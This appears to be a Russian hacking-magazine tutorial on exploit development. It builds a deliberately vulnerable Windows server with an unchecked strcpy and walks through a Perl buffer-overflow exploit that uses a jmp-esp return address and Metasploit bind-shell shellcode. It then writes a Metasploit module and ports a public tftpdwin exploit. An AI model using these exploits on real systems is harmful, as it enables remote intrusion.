Содержание статьи
Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из
багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам
строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим
фабрику сплоитов и во всех подробностях посмотрим, как изготавливается
качественное изделие.
Сплоит – что же это за зверь
такой диковинный? По сути, это программа, написанная с целью использования
уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять
из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP,
или даже находиться внутри картинки, но главное, что он влияет на уязвимую
систему и заставляет ее работать так, как она не запрограммирована. Удаленный
эксплоит работает через сеть и использует уязвимость без какого-либо
предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются
непосредственно в уязвимой системе, требуя предварительного доступа к ней и
обычно используются для повышения привилегий.
Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера,
SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает
много и каждая из них отличается как техникой исполнения, так и своей целью. Но
есть в них одно общее – все они содержат код, выполняющий задуманные хакером
действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код
предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой
(payload). Написание такого кода – целое искусство. Если хочешь разобраться в
этой области, советую начать со статьи Step'а "Откуда
берутся шеллкоды". Мы же рассмотрим процесс написания эксплоита, а шелл-код
возьмем уже готовый из пакета Metasploit.
Пишем жертву для экспериментов
Убежден, что нет более наглядного способа продемонстрировать создание боевого
кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и
наваяем небольшое серверное приложение, оставив в нем критическую уязвимость,
которую и будет эксплуатировать. Приложение будет принимать подключения на
определенном порту: как только придет некоторый пакет, будет вызываться функция,
выполняющая некоторые действия с полученными данными, после чего приложение
завершается. Скелет приложения приведен ниже:
void pr( char *str)
{
char buf[500]="";
strcpy(buf,str); // вот и сама уязвимость, собственной персоной
}
int main(int argc, char **argv)
{
....................
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
pr(Message); // вызываем функцию, которая не проверяет длину входного буфера при
копировании
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
return 0;
}
Внимательно взглянув на код, можно увидеть, что функция void pr(char *str) не
проверяет длину входного буфера и, если передать ей в качестве параметра строку
длиной более 500 символов - получится классическое переполнение буфера. Совсем
кратко о том, как это работает (тут придется вспомнить, как работает стек):
PUSH EDI // кладем в стек указатель, на буфер, который будем копировать
(*str)
CALL Server._pr // вызываем функцию pf
После вызова CALL стек будет выглядеть следующим образом:
....
buf - локальная переменная, куда будем копировать входящие данные
ebp - сохраненный указатель кадра стека
ret - адрес возврата
*str - указатель на входящий буфер
....
Под переменную buf у нас выделено 500 байт. А что будет, если скопировать
туда строку длиннее?
[buf][EBP][ret][*str]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено
ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при
выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код.
Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от
такой критической ошибки, конечно, никуда не деться, и программа в любом случае
будет падать, однако использовать переполнение в сплоите может и не получиться.
Виной тому стековые куки – специальная защита, включаемая в бинарник
компилятором во время сборки приложения. Существует несколько способов обхода
такой защиты (подробнее – смотри ниже), но сейчас для простоты примера
предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку
кукисов во время компиляции в Visual Studio, либо используем компилятор, который
вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется,
проще – так как можно использовать бесплатный компилятор
lccwin32.
Компилируем и запускаем.
Убить наповал!
Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более
чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем
небольшой скриптик на Perl'е для эксплуатации переполнения буфера:
use strict;
use Socket;
my $junk = "\x41" x1000;
# адрес и порт узявимого демона
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# осуществляем привязки
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# создаем сокет и присоединяемся к порту
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
Скрипт просто соединяется с сервером и посылает ему строку символов "А"
длиной 1000 ($junk = "\x41" x1000). Чтобы наглядно посмотреть, что в момент
получения такой строки происходит внутри нашего сервера, запускаем его под
отладчиком – идеально, под
OllyDbg. Выбираем наш бинарник через меню "File -> Open" и отдаем команду на
выполнение: "Debug -> Restart -> Run". Далее запускаем простенький сплоит,
который, как и следовало ожидать, убивает наш сервер наповал. Смотрим в отладчик
- адрес возврата из функции pf (и, как следствие, регистр EIP, указывающий на
следующую инструкцию) оказывается перезаписанным значением 41414141 (как ты
помнишь, 0х41 - это символ А). Но на момент, когда мы будем глядеть в отладчик,
уже произойдет возврат по адресу 41414141, и мы будем видеть только EIP. Для
успешной эксплуатации уязвимости нужно построить ядовитую строку так, чтобы она
переписывала адрес возврата нужным нам значением - адресом нашего шелл-кода.
Поэтому сначала необходимо выяснить, какие именно символы строки затирают адрес
возврата. В этом поможет одна из утилит Metasploit Framework. Но перед этим
предлагаю тебе быстренько ознакомиться с Фреймворком.
Используем Metasploit для разработки эксплоита
Символов в передаваемой строке 1000, все они одинаковые, поэтому
неудивительно, что в строке возврата появляется значение, состоящее из буквы A.
Но если составить строку, которая будет состоять из неповторяющихся
буквенно-числовых строк, то легко определить позицию тех символов, которые
попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита,
входящая в состав Metasploit, pattern_gererate. В качестве единственного
обязательного параметра передается длина строки. Итак, создадим буфер длиной в
1000 символов для дальнейшего использования в нашем сплоите:
msf > ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh
А в скрипте заменим значение переменной $junk на вышеприведенную
последовательность. Заново запускаем наш уязвимый сервер, подключаемся к нему в
OllyDbg и запускаем эксплоит. Сервер опять падает. Что ж, давай взглянем, что на
этот раз оказалось в регистре EIP? EIP = 41387141. Чтобы определить смещение
символов в строке, используем другую утилиту из набора Metasploit -
pattern_offset, передавая в параметрах искомую величину и длину буфера:
my $totalbuffer = 1000;
# длина буфера
my $junk = "\x41" x 504;
# первые 504 символа "А"
my $eipoverwrite = "\x42" x 4;
# 4 символа "В", которые перезапишут адрес возврата
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));
# оставшееся место в буфере заполняем символами "С"
И заменяем строчку кода, отправляющую сформированную строку в сокет, на:
print SOCKET $junk.$eipoverwrite.$junk2."\n";
Чтобы проверить, запускаем эксплоит и смотрим в отладчик. Ага, так и есть:
EIP = 42424242. Увы, тысячи символов слишком мало, чтобы уместить шелл-код,
поэтому попробуем увеличить длину ядовитой строки и посмотреть, как будет
работать сплоит. Длину выбираем экспериментально: методом проб и ошибок. После
увеличения длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, что сплоит
по-прежнему работает так же успешно. А это значит, мы имеем 2000-4-504=1492
байта для размещения нашего шелл-кода. Все это прекрасно, но как передать
управление шелл-коду – ведь его адреса мы не знаем! Давай посмотрим, что у нас
происходит со стеком в момент переполнения. Поставим в отладчике бряк на функцию
strcpy:
0040130B: CALL 00404351
И запускаем эксплоит. Бряк сработал, – смотрим, что в стеке (в olly стек
показывается в правом нижнем углу и имеет формат "адрес - значение –
комментарий; типа return to kernel32.728232"):
[buf][ebp][ret][предыдущий стековый фрейм]
Нажимаем <F8> (перейти на следующую инструкцию) и отмечаем изменения в стеке:
[buf][ebp][ret][предыдущий стековый фрейм]
[AAAAAAAA][BBB][CCCCCCCC…]
Теперь взглянем на конец функции pf:
00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN
При вызове команды LEAVE происходит следующее:
MOV ESP, EBP //теперь в ESP содержится адрес [ebp]
POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана
символами "А", следовательно, EBP будет равен 41414141), ESP теперь указывает на
адрес возврата.
При выполнении команды RETN из стека выталкивается адрес возврата – поэтому
получается, что ESP указывает на начало стекового фрейма, то есть на $junk2, где
мы и будем размещать наш шелл-код. А как перейти по адресу, лежащему в esp?
Хороший вопрос!
Переход к ESP – вполне обычное действие для виндовых приложений. Более того,
любое такое приложение использует, как минимум, одну системную DLL’ку, в которых
есть инструкции на любой вкус. Адреса в таких DLL'ках, как правило, статичны и
не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp
esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес
возврата, то на выходе из функции управление передастся на ESP – прямиком нашему
шелл-коду.
Есть один момент, который стоит упомянуть! Адрес возврата не должен содержать
нулевых байтов, ведь функция strcpy воспримет все как признак конца строки и не
скопирует оставшуюся часть буфера, то есть $junk2, куда мы хотели разместить
шелл-код. Поэтому мы будем искать инструкцию перехода по esp в динамических
библиотеках, используемых приложением, так как адрес такой инструкции в
библиотеках будет выше, и не будет занимать все четыре байта – исключая
возможность появления нуля в начале.
Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в
состав пакета тулз
MSF
eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call,
jmp, push + регистр и ret в dll или приложении. Наша программа работает с
сокетами, и значит, она будет использовать стандартную виндовую библиотеку
ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные
инструкции, соответствующие передаче управления на ESP). Запускаем с указанием,
во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:
Findjmp2.exe ws2_32.dll esp
Scanning ws2_32.dll for code useable with the esp register
0x71AB9372 push esp - ret
Finished Scanning ws2_32.dll for code useable with the esp register
Found 1 usable addresses
Найден один подходящий нам адрес - 0x71AB9372. Кстати, если вдруг нужного
опкода в другой ситуации не найдется – не беда, можно поискать в kernel32.dll,
которая используется всеми приложениями. Аналогичный поиск по этой библиотеке
дает еще два подходящих адреса. В действительности, это не самый удачный вариант
и искать опкоды в системных библиотеках стоит в самом последнем случае. Дело в
том, что библиотеки различаются от системе к системе и даже от версии сервиспака,
установленного в винде. Адрес 0x71AB9372 действителен только для английской
Windows XP SP2 – для другой системы он будет другой! Именно поэтому подходящие
опкоды стоит искать в DLL'ках, которые устанавливает в систему сама программа –
только в этом случае есть шанс написать независящий от версии Windows сплоит. В
нашем случае, увы, такой вариант невозможен в виду простоты примера, но свои
динамические библиотеки для реального виндового приложения – это в большинстве
случаев норма.
Осталось только создать шелл-код. Как я уже говорил, к сплоиту предъявляется
одно важное требование - он не должен содержать нулевых байтов. В программе
копируется строка, и если встретится "0", он будет воспринят как конец строки.
Соответственно, оставшаяся часть строки не скопируется, а неполный шелл-код,
естественно, не будет работать. В создании шелл-кода нам опять поможет
Metasploit и консольный интерфейс для управления фреймворком. Итак, запускаем
консоль tools/msfconsole и вводим следующее:
msf > use windows/shell_bind_tcp // будем использовать этот payload
msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на
удаленной машине
LPORT => 5555
С помощью команды "generate -h" посмотрим опции, которые можно указать для
генерации шелл-кода:
- -b <opt> - список символов, которые следует исключить из шелл-кода;
- -f <opt> - имя файла, куда сохраняется шелл-код;
- -t <opt> - тип шелл-кода: ruby, perl, c или raw.
Указываем, что надо избегать байтов '\x00\xff', генерировать код для Perl'a и
сохранить полученные результаты в c:\\shellcode.bin:
msf payload(shell_bind_tcp) > generate -b '\x00\xff' -f c:\\shellcode.bin
-t perl
[*] Writing 1747 bytes to c:\shellcode.bin...
Вот теперь, имея на руках шелл-код, настало время собрать полноценный
эксплоит. Единственное – нужно помнить несколько моментов:
- в шелл-коде не должны встречаться 0xff и 0x00 байты, но мы об этом уже
позаботились; - непосредственно перед шелл-кодом нужно поместить цепочки из NOP
(машинная команда - нет операции) – на случай, если мы чуть-чуть накосячили
с адресом возврата.
Отправляемая серверу строка будем формироваться следующим образом:
my $junk = "\x90" x 504; // первые 504 NOP’a
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71AB9372); // перезаписываем адрес возврата
значением 0x71AB9372
#add some NOP's
my $shellcode="\x90" x 50; // добавляем 50 nop-ов перед шелл-кодом
// прибавляем сгенерированный нами шелл-код (windows/shell_bind_tcp)
$shellcode=$shellcode."\xbb\x2e\ [и тут тоже кушал редактор ] xd3";
Окончательно строка, отправляемая в сокет:
// и отправляем ядовитую строку серверу
print SOCKET $junk.$eipoverwrite.$shellcode."\n";
После чего пытаемся в сплоите установить соединение с удаленной машиной на
5555 порту, который мы указали при генерации шелл-кода:
system("telnet $host 5555");
Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на
различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется
- меняется только наш адрес возврата.
Эксплоит для Metasploit
Итак, у нас есть сплоит для конкретной платформы с вполне определенной
нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо
специальная платформа для создания сплоита, если мы вполне обошлись силами
одного лишь Perl'а? Причина в том, что Metasploit предоставляет огромное
количество заготовок, реализаций различных протоколов, одну из самых больших баз
шелл-кодов, payload-ов, которые можно использовать при написании собственного
эксплоита. Вместо убогого скрипта на Perl'е можно написать модуль для Metasploit,
после чего запускать его на любой платформе и выбирать payload на свой вкус!
Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав
его для Metasploit, и посмотреть, как это работает. Само собой, он будет
обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь
прямо во время исполнения атаки.
Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит
из объявления заголовочных файлов, подключения ядра msf/core, определения класса
эксплоита, в котором описывается его функциональность. Я не буду приводить здесь
полный исходник модуля, но выкладываю его на диске. Рекомендую для большей
ясности открыть его прямо сейчас и далее читать мое практически построчное
объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit
Framework:
require 'msf/core'
Функциональность любого сплоита описывается с помощью класса, где его
настройки задаются с помощью параметров, а функциональность – с помощью методов.
Создаваемый объект наследуется от одного из предопределенных классов. Поскольку
мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса
"Удаленный эксплоит". В синтаксисе Ruby это делается так:
class Metasploit3 < Msf::Exploit::Remote.
Большая заслуга Metasploit в том, что он унифицирует большое количество
параметров и действий, позволяя использовать готовые конструкции вновь и вновь.
Первый элемент разрабатываемого класса – секция include, где мы подключаем
обработчик для нужного нам протокола. В Metasploit есть обработчики для http,
ftp и других протоколов, что позволяет быстрее писать эксплоиты, не
заморачиваясь с их собственной реализацией. Наш эксплоит использует
TCP-подключение, поэтому код будет выглядеть следующим образом:
include Msf::Exploit::Remote::Tcp
Далее весь сплоит делится на два метода: метод инициализации, в котором мы
указываем информацию, необходимую для успешного выполнения эксплоита, и метод
эксплуатации, в котором мы отправляем на сервер ядовитую строку.
Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и
недопустимые символы (в нашем случае – 0х00 и 0xff):
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
}
Далее определяем цели эксплоита и специфичные для каждой цели параметры,
такие как адрес возврата, смещение и т.д.:
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP2 En',
{ 'Ret' => 0x0x71ab9372, 'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
...
]
Обрати внимание, мы не определяем сам шелл-код – то есть, нагрузку, которую
выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во
время работы в консоли Metasploit'ом. Сейчас нам остается только написать самое
главное - метод для эксплуатации уязвимости. С помощью команды connect
устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже
указали порт, помнишь?), далее – определяем ядовитую строку и передаем ее в
сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки
NOP-команд, величины Offset - затем к ней прибавляется адрес возврата, еще
небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так:
def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было
использовать, скопируем исходник в папку modules/exploits/test (если не нравится
test – можешь скопировать в windows/misc, например). Запускаем msfconsole и
работаем в интерактивной консоли Metasploit'а!
Эксплоит за 5 минут
Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже
наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную
базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела,
поэтому в стремлении еще больше упростить процесс был разработан пакет утилит
тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и
поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме
удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз,
необходимых для отладки и тестирования эксплоитов. Более того – можно опять же
создавать с нуля, а портировать уже существующие сплоиты.
Предлагаю взять какой-нибудь эксплоит и с помощью MSF eXploit Builder
превратить его в Metasploit-модуль. Ты спросишь, зачем это нам надо? Опять же:
превратив его в Metasploit-модуль, мы можем использовать его вместе с различными
payload-ами. Проще говоря, это сделает его более универсальным и
кроссплатформенным. Сейчас ты сам убедишься, насколько эта программа может
упростить жизнь - ведь теперь для написания и отладки эксплоита не нужно даже
знание Ruby и Metasploit API. В качестве кролика для эксперимента я выбрал
первое, что попалось, - сплоит для tftpdwin 0.42 (milw0rm.com/exploits/7452).
Запускаем MSF eXploit Builder, заходим в меню "Editor" и выбираем "New".
Появляется окно с несколькими вкладками (Information, Badchars, Analysis,
Shellcode, Design). Переходим на вкладку "Information" и видим много интересных
полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол
эксплоита (например, remote/tcp). Более того, программа предоставляет нам
возможность тестирования и отладки полученного эксплоита, поэтому тут же можно
выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).
Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия
на выбор: запустить приложение, запустить его под отладчиком или не запускать
вообще – просто запустим приложение. Обрати внимание, что справа сбоку
отобразится список загруженных приложением DDL'ек.
Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный.
Комментарий "Restricted chars = 0x00 0x6e 0x65 0x74" явно указывает на
запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим
на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду
мы видим, как формируется ядовитый пакет:
my $packet = (($p1).($nopsled).($shellcode).(($overflow)).($ret).($p2));
Разбираемся с каждой составляющей и заодно составляем буфер для отправки во
вкладке "Design". Сначала идет переменная $p1 (my $p1="\x00\x01";). Вводим их в
поле Value (Operation по умолчанию оставляем RAW). За ней идет переменная $nopsled
(my $nopsled = "\x90" x 10;) - выбираем Operation = NOP и устанавливаем длину в
10. Далее располагается $shellcode - устанавливаем Operation = PAYLOAD и Length
= 0. Следующая часть - $overflow (my $overflow = “\x41” x $len; строка из
символов "А" длиной в $len). Переменная my $len = (274 - length($shellcode)), то
есть строка длиной 274 символа минус длина шелл-кода. Выставляем Operation = RAW,
Length = 274 и выбираем (нажимаем поочередно) вверху кнопки RAW could be:
rand_text_alpha, -payload.encoded.length, что означает: длина строки будет
высчитываться по вышеприведенной формуле. Потом добавляем адрес возврата $ret (my
$ret = “\x5d\x10\x40”) и выбираем Operation = RET. Наконец, добавляем $p2,
равное "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00" и выбираем Operation = RAW.
Ядовитый пакет готов.
Собственно, теперь у нас есть все для создания готового сплоита. Поэтому
нажимаем на кнопку "Generate" и любуемся кодом получившегося сплоита. Если
какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную.
Классно, что возможно сразу проверить работоспособность кода – для этого смело
жмем кнопку "Test". И ведь – все работает! За 5 минут, которые ушли на
ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры
Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве
домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для
нашего сервера :).
Заключение
Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены
сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем
эксплоите или, вообще, запуская непонятный exe'шник, далеко не всегда можно
доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими
частями и специально оставленными ошибками – это непременно остановит армию
скрипткидис, но для понимающего человека едва ли станет серьезной задачей.
Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь
хакеры люди – логичные и понятные :).
INFO
Подробная информация об Metasploit API:
www.metasploit.com/documents/api/msfcore/index.html
Блог Metasploit Framework:
Статья по доработке эксплоита:
en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit
Видео, показывающее, как создать Portable-версию Metasploit для размещения на
флешке:
www.wonderhowto.com/how-to/video/how-to-create-a-metasploit-meterpreter-executable-file-263017
WARNING
Информация представлена исключительно в ознакомительных целях, чтобы
показать, чего стоят критические уязвимости в коде и как злоумышленники могут их
использовать. Не повторяй эти действия в противозаконных целях. В противном
случае автор и редакция ответственности не несут!
